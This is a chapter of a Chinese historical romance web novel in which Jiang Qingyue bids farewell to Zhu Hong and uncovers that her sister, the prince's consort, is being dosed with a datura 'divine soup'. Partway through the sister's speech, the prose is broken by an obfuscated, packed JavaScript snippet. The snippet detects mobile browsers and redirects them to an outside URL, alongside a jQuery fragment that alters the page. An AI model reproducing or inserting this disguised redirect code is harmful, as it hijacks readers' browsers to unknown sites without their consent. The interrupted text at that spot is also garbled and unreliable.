那猫却不怕人似的,扬起尾巴在院子里乱窜。 “这附近哪儿来的野猫?”珠儿连忙递来手绢,“阿康,快、快把这吓人的东西赶出去。” 左看右看,却不见阿康人影,珠儿刚想去叫人,江清月一把拉住了她。 “已经跑远了,算了。” 江清月刚想回房间换衣服,阿康却急匆匆跑来。 珠儿数落道:“刚刚不来,现在猫都跑远了。” 阿康有些疑惑,“什么猫?” 珠儿反问道:“你不是为这个来的么?” 阿康一拍脑袋,大声道:“哎,被你这么一打岔,差点儿忘了正事儿!” 他连忙对江清月说道:“姑娘,门外有人找!” 珠儿见江清月一脸顾虑,便问道:“这么晚了,是谁找?若不着急的话,告知对方明日再来。” “我哪儿认识那人呀,他只说咱姑娘认得。”阿康回忆道,“那人身上有些酒气,却又不像寻常的酒蒙子!” 江清月心中莫名有些紧张,嘴上却还淡定地说道:“不碍事,我出去看看。” 阿福正守在大门边,门被翕上一条缝。 透过那窄窄的光景里,她看见他露出的墨绿色衣裳。 江清月低头看着自己弄污的衣裳,本想拒绝,转头却又停住。 凝思片刻,让阿福推开大门,她径直走了出去。 “这么晚了,有什么事么?” 朱泓低头看见她腰间的荷包,愣了一下神,他弯起的手捏了捏,说道:“可否去岸边走走?” 江清月低着头,“就在这里说吧。” 他点了点头,早就准备好的话说不出,只能套出几句寒暄,无厘头地问东问西。 江清月打断了他:“如果没有什么重要的事,就请早些回去休息吧。” “春风无限潇湘意,欲采蘋花不自由。” “什么?” “明日我便要走了。” 江清月终于抬起眼睛看着他,二人对视的瞬间,她又看向别处,“不是今日才回府上,不可多待几日么?” 刚说完此句,她又觉得自己说话太过暧昧,连忙补充道:“郡王妃常念着你,没想到这么快便又要走了。” “刑部紧缺,原本是回不来这趟的。” 二人沉默着,海浪盖过近在咫尺的心跳。 “父亲让彤妹随我一同去京都定居。”朱泓顿了顿,“听闻京都繁荣,多有春猎、庙会、茶会,女子亦可听曲观戏,读书作诗……” 江清月听懂了他的言外之意,却假装不明白地说道:“‘不三不四’姑娘一定会爱上那里。” “不三不四姑娘?” “口误。”江清月咳嗽了两声,“是想说——既不是三姑娘也不是四姑娘的彤姐。” 朱泓先是凝眉思考了一会儿,随即噗嗤一声笑出来,连忙握拳贴在嘴上掩饰。 有那么一瞬,两人终于放下隔阂,像两个昔日惺惺相惜的玩伴。 “不知下次再见是何时……一路平安。” 朱泓的笑容慢慢变得不由衷,他咽了口唾沫,点头道:“你也平安。” “今夜泓儿庆功宴,你怎么不来?” 江氏坐在烛火前打盹,手里还捏着快织好的手套,醒来后迷迷糊糊,眼神飘忽不定。 “郡王爷找我有何事?” “刚好路过东厢,见你这烛火微亮。”郡王爷的话有些磕磕绊绊,“你近日,都在忙些什么?” 江氏一个激灵直起身板,警惕道:“你们朱家的,连本带利都交给你了,我已经什么都没有了。” “我知道你都交给李氏打理了,我是想说——哎,问这个怪没意思的,你年纪也不小了,早些歇息吧,眼睛都不好,还在这硬撑着织东西,这些拿给下人去做不好么?” 江氏并没有回应。 郡王爷自讨没趣,瞪了瞪房内的几个丫鬟,便也甩甩袖子走了。 自郡王爷离开后,江氏的贴身丫鬟上前耳语道:“郡王妃,汤药已经熬好了,喝了早些歇息吧。” 江氏木讷地看着她递上来的、漂浮着褐色渣滓的汤药,心里尽是空洞,而没有一丝波澜。 她缓缓地接过来,一饮而尽。 自咋咋唬唬的朱彤走后,康显郡王府显得安静了许多。 天气越发炎热,人们变得不爱说话,连猫儿狗儿的都晓得在阴凉的地方躲着,府里却有一人一反常态。 江氏总是自言自语地走到阳光下,有时被丫鬟见着,给劝了回去,有时被前来照看的江清月见着,也会将人拉至屋内,扇扇风。 可人们疏忽的时候,她总是一声不吭走到院子假山石的背面去,坐在青青的苔泥上发呆。 她手里摸索着一块小小的金锁,那金锁有时替换成荷包,有时是手绢,江氏总不得闲,似乎有了必须每日如此做的原因。 江清月用手帕擦掉脸上的汗珠,看着出神的江氏,她忍不住发问:“阿姊,你在想什么?” “我在想,人死以后,当真有另一个世界么?” 江清月一时语塞,她自然是不信的,但她知道江氏所指,又不好伤了江氏的心。 “比起这些,人更应专注当下才是。” 江氏却没听进她的话,继续自言自语道:“那应该是一个很美好的世界,若真到那一日,我想,我不害怕去……” 江清月有些担忧,她凑上前,紧捏了捏江氏的手,似乎怕她变成一阵泡沫飘走似的。 江氏继续喃喃道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15229440|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “江淮应是一个好地方,以至于潼儿想要留在那里……若我也不在了,月儿,你能带我去见她么?” “阿姊,我曾经不是答应过你么?我现在就可以带你去……不,现在不行,再凉一些罢,等天落了几场雨,我便带你去应天府见潼姐儿。” 江氏摇了摇头,“等不到了,我等不到那一日了。” “别再说这样的话。”江清月似乎有些动气,“大夫好好瞧着,汤药和补品亦是如流水般送来,为何就不见好转?” 江氏叹了口气,“多了,彩玉,今日的神仙汤怎么还没端来?” 江清月见丫鬟欲言又止,警惕道:“神仙汤是什么?” “喝了能当神仙的药汤,是李氏托亲戚搞到的珍贵药材。” “这世界上哪有这样的东西?” 彩玉连忙解释道:“只是安神汤,喝了能睡好觉道。” 江清月猛地站起身,直接让兰姑和珠儿锁了东厢房。 “珠儿,你去后厨找找煎药的药渣,收起来立马去找大夫瞧。” 看着一脸憔悴又神离的江氏,她原本只是有些淡淡的忧伤,似乎看透了命运在她们几人身上残酷的轮回。 可如今,有些麻木的她却后知后觉这厄运竟有可能是人为的,江清月的无力便化为愤怒涌出,她恨不得将她们撕碎。 尽管这一切都没有个定论。 半个时辰过去,江清月没等来珠儿,却迎来一群不速之“客”。 “你们这一群群娘们儿,真的是要翻天。” 郡王爷面如红盘,怒发冲冠,在他身后站着红着眼的李钦语,还有一脸怨容的李善俪。 他们仿佛是有理的一家人,江清月才是那个扰了清净的坏人。 她想起曾寄人篱下的日子,想起无数次李善俪母女也曾这样站在愤怒的郡王爷身后,一遍遍质问自己。 她几度有些恍惚,可立刻就缓过神来,站定说道:“我见郡王妃近日身体状态每况愈下,怀疑是下人私自配了什么汤药,正着人前去探查。” 见郡王爷有些诧异,嘴巴微张想要解释什么,江清月先发制人追问道:“郡王妃的情况,您在府上应是最清楚了,不知郡王爷可否差人去打听一下,三膳、茶歇、甜点等,可都吃了些什么?” 李善俪看了一眼李钦语,她点了点头,后者便上前说道:“是曼陀罗。” 江清月凝眉。 “曼陀罗花与火麻子花等分碾成末,热酒调服,能够安神镇静,这些事爹爹和娘都是知道的。” “火麻是……”江清月反应过来后怒道,“这可是产幻的毒物!” “是药三分毒,如何界定全看病症如何。”李钦语见郡王爷并没开口说话,便有了几分底气,说道:“娘因为你的事忧心不已,整日痛苦不堪、以泪洗面。我想了各种法子哄她开心,又寻来这些药物,她不仅心里松活了不少,夜里也能睡着了。你说,咱俩比起来,谁是毒?谁是药?” “你给即将饿死之人送去一碟苦杏仁,她因为太过饥饿不得不吃下——究竟是她愿意吃,还是你趁人之危,使她不得不吃?” “所以姨母,究竟是想说什么?” “欠债还钱,杀人偿命。” 几人之间的关系剑拔弩张,在原本炎热的天气里渗出一丝寒意。 “好了,好了。”东厢房的门猝然推开,原来是江氏在门边听见了这一切,便让兰姑为她开了门。